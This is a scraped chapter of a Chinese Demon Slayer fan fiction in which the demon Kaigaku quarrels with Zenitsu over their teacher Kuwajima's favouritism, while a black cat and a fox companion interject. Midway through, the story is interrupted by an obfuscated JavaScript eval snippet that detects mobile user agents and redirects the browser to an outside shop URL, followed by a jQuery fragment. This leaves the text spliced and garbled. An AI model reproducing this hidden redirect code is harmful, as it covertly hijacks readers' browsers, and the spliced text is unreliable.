58.第五十八章
作品:《[综主鬼灭]惊雷》 狯岳承认,我妻善逸这个废物,虽然哭哭啼啼优柔寡断思路清奇精神异常……
但看在火雷神的份上,也没有他一直以为的那么废。
桑岛慈悟郎之所以看重他,眼光的确称得上独道,呵呵。
不管从过程还是结果还是裁判的角度上来看,这一局,我妻善逸已经赢了。
他已经输了。
这不是什么不能承认的事情,只不过,也是时候去开下一局了吧?
凭什么他非得困在这里,成为我妻善逸的战利品不可?!
就听这废物还在叨逼叨:
“……狯岳,你对爷爷,连老师都不叫了啊。”
狯岳:“……”
狯岳:“这是重点吗?!”
“当然是。你以为,我为什么非要追到这地步不可?”
我妻善逸晃了晃脑袋,似乎终于把二周目脑袋里进的水倒了出去——不,他打从一开始脑袋里就进了水,只是因不同的经历,成分不同而已。
大约是因为,这一次,他没有吃人,还顺利回到了鬼杀队,才让这家伙有了不切实际的幻想吧。
“不要再生爷爷的气了,好不好?”他简直像是在说梦话,“毕竟是你先做错了事,变成了鬼……如果你那时候死掉了,爷爷也不会做出切腹的决定。”
狯岳:“……”
狯岳:“我不是生他的气!你这混蛋——不要说得好像是我在耍小孩子脾气一样!”
是因为已经长得比他更高更大的缘故吗?
这种语气,这种措辞……令他起了一身的鸡皮疙瘩。
居然仗着比他多活了几年,就这样对他说话,太自以为是了!
“试着想了一下,如果是我,我会很难过。但是大哥你的话,一定会很生气。”
“不要擅自揣测我的想法!”
“在你变成鬼之前,你就已经是爷爷和我的骄傲了。爷爷所做的一切,绝对不是为了否定你。他……他只是,只是为了安慰我罢了。”
话音落下,狯岳的脸和胃一并扭曲起来。
什么叫做只是为了安慰他?!
为什么,这家伙总一次又一次地,得了便宜还卖乖?!
在桃山时就这样,打从一开始就这样。
他是自己想办法找到鬼杀队,和其他几个少年一起被推荐到桃山,经过考验后才被准许留下来,好不容易才拜入桑岛慈悟郎门下。
我妻善逸却是被桑岛慈悟郎直接买回来的弟子。
他被说“坚持不下去可以离开”。
我妻善逸被说“无论如何不许逃”。
他很要强,想要获得认同,想要被肯定,证明自己的优秀,证明自己的存在是有价值的。
我妻善逸呢?
“什么杀鬼?我、我不知道啊,”他挂着一脸蠢相,揪着衣服下摆,唯唯诺诺,“是,是爷爷让我来的。”
那桑岛慈悟郎让你去死你去不去啊?!
哦,送这种人去杀鬼,的确和让他去死差不多?
那没事了。
而且,这家伙的确性格懦弱,整天逃跑,躲避训练,不想杀鬼,简直多余。
完全不明白,桑岛慈悟郎为什么要浪费时间在这家伙身上。
有天赋,就那么重要吗?
这种哭哭啼啼的家伙,只会浪费自己的天赋吧。
但学会一之型的我妻善逸作证:
是的,天赋就有那么重要。
……这就是桑岛慈悟郎不放弃我妻善逸的原因。
被雷劈后活下来的我妻善逸,不仅学会了一之型,连头发都变成了与众不同的金色。太特殊了。这就是雷神的眷顾吧,连他忍不住这样想。
一之型是基础,基础完成之后,剩下的型也会被一一攻克吧。接下来,等他学会剩下的剑型,就没有别人的事了。
看着我妻善逸和桑岛慈悟郎其乐融融,他终于意识到一件事。
他才是多余的那一个。
“为什么大哥没有被安慰到呢?”我妻善逸困惑地摆弄他的脑袋。“声音又变得很寂寞了呢,明明有我在你身边。”
狯岳:^=皿=^。
不是,由于他变成了鬼,桑岛慈悟郎向鬼杀队切腹谢罪!
都发生了这种事情,他还指望他们能放下间隙,和好如初?
自说自话也该有个限度!
“因为你和桑岛才是一国的,狯岳不过是个外人而已。”
在狯岳骂出声之前,黑猫先开口。
“你就不能老实承认,那老头子偏心眼吗?”
“……如果狯岳这么说就罢了,”我妻善逸的脸瞬间拉下,瞪向黑猫,“你凭什么胡说八道?!爷爷才不会偏心!”
“被偏心的人总是这么说。”
黑猫一点也不心虚,它振振有词:
“早该察觉到了吧,人是有偏好的。比如,明明是梨花先来,但很明显,”黑猫挺起胸膛,“狯岳更喜欢——我。”
话音落下,不仅我妻善逸大脑短路了一瞬,连狯岳也无言以对。
你是来讲笑话的吗喂?!
而狐狸发出尖锐爆鸣:“好过分!狯岳,你真的不喜欢我了吗?!”
狯岳:^→_→^。
狯岳:“啊……这个。”
“都说了,是更喜欢。”黑猫鄙视地看了一眼狐狸。“显然,狯岳喜欢又强又帅的角色,弱鸡。”
“我踏马是狐狸!狯岳,你说,难道琉璃会比我好吗?!”
狯岳“啧”了一声:“就不能两个都不怎么样吗?”
这俩根本半斤八两吧!
狐狸看着可爱,实际上原则性很强,而且和我妻善逸相性更佳。
黑猫看着可爱,实际上以自我为中心,总想替他做决定。
于是就轮到黑猫嘴硬:“……你这不可爱的性格也,也蛮可爱的,呵呵。”
狐狸:“喂!”
“总之,桑岛是个老人家,明显更吃善逸撒娇那一套。”黑猫强行转移话题,“当家长的都喜欢那一套。别看表面上嫌烦,实际上被依赖的时候老享受了。善逸,你不可能没有察觉到这一点吧?”
我妻善逸:“……”
我妻善逸:“那、那又不代表他不喜欢大哥!”
“都说了,是更喜欢谁的问题。”黑猫摇了摇头。“狯岳在你这里比不上桑岛还好,他俩辈分不一样。但在桑岛这里——”
“够了!”狯岳打断他的话,“别说了,很恶心!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386273|195791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“爷爷明明是很公平的,他给我们两个人的东西都是一样的!”
黑猫冷笑一声,本想说些什么,但考虑到狯岳的心情,没有继续。
结果,却是狯岳自己忍不住了:
“是啊,都是一样的!”他嗤之以鼻,“我比你付出更多,比你训练努力,学会的剑型更多,收获的东西却和你一样,算什么公平?!”
话音落下,我妻善逸睁大眼睛。
“那、那是……”
“别装傻了。你知道桑岛先生更偏爱你,所以他才一厢情愿地希望我们两个人一起成为雷之呼吸的继承人。”
狯岳自嘲地笑了笑,摇了摇头。
“我只不过是个学不会一之型的残次品,你却是他可怜的、只会一之型的宝贝孙子,所以他才在我出师那天,给你准备相同的礼物。”
“不对,爷爷他——”
“那时候的你算什么?只是个连一之型都用得不怎么样,只会拖我后腿的废物而已。”
我妻善逸明显不赞同他对桑岛慈悟郎的看法,但或许是从没考虑过这些事情的缘故,根本找不到言辞反驳,只结结巴巴地提出来:
“可是,如果变成了鬼的是我,我想,爷爷他也一定会做出同样的选择吧?”
“这倒不能完全否认。”
“那……”
“毕竟不管你怎么拒绝,桑岛先生都执意要送你去鬼杀队。对他来说,奋斗了一生的杀鬼事业才是最重要的。”
“不对!”
“所以,我没有生他的气。”
狯岳作出最后陈述。
“我只是……更加认清了我自己。”
眼前此刻,尽是回忆的颜色。
拼尽全力才活到现在,抓到什么算什么。
会从指缝中漏掉什么,也是无可奈何。
“……狯岳才是。”
“什么?”
“狯岳才是,不要装傻!”我妻善逸厉声道,“说得这么洒脱,好像自己什么都不在乎一样,不只是在逃跑而已吗?!”
“哈啊?!”
“笨蛋!胆小鬼!害怕被人放弃所以先放弃别人,害怕被人伤害所以先和别人划清界限,是这样吧?!”
“可结果证明,我是对的!”
眼前这一位,是亲手杀了他的人。
是坦坦荡荡,光风霁月,站在高位俯视他的人。
我妻善逸也好,桑岛慈悟郎也好,他们都是那样的人。
如果他们知道他的过去,知道他是个什么样的人,一定会后悔和他扯上关系。
他们那样的高风亮节的人,和他这样不可救药的人,不是一路人。
早晚要分道扬镳。
他看着我妻善逸的嘴巴一张一合,却一个字都没有听进去,高亢的耳鸣堵住了所有声道。
那双金色的瞳孔中映出了另一个自己,漆黑的巩膜,妖异的面纹,扬起的嘴角。
原来如此。
在遇见黑死牟的那一天,他的身体变成了鬼。
但在那之前,他的心,早已变成鬼。
他听见自己对自己说:
待在黑暗里不舒服,可待在人间更痛苦。
你想怎么选都可以,你想做什么都是你。

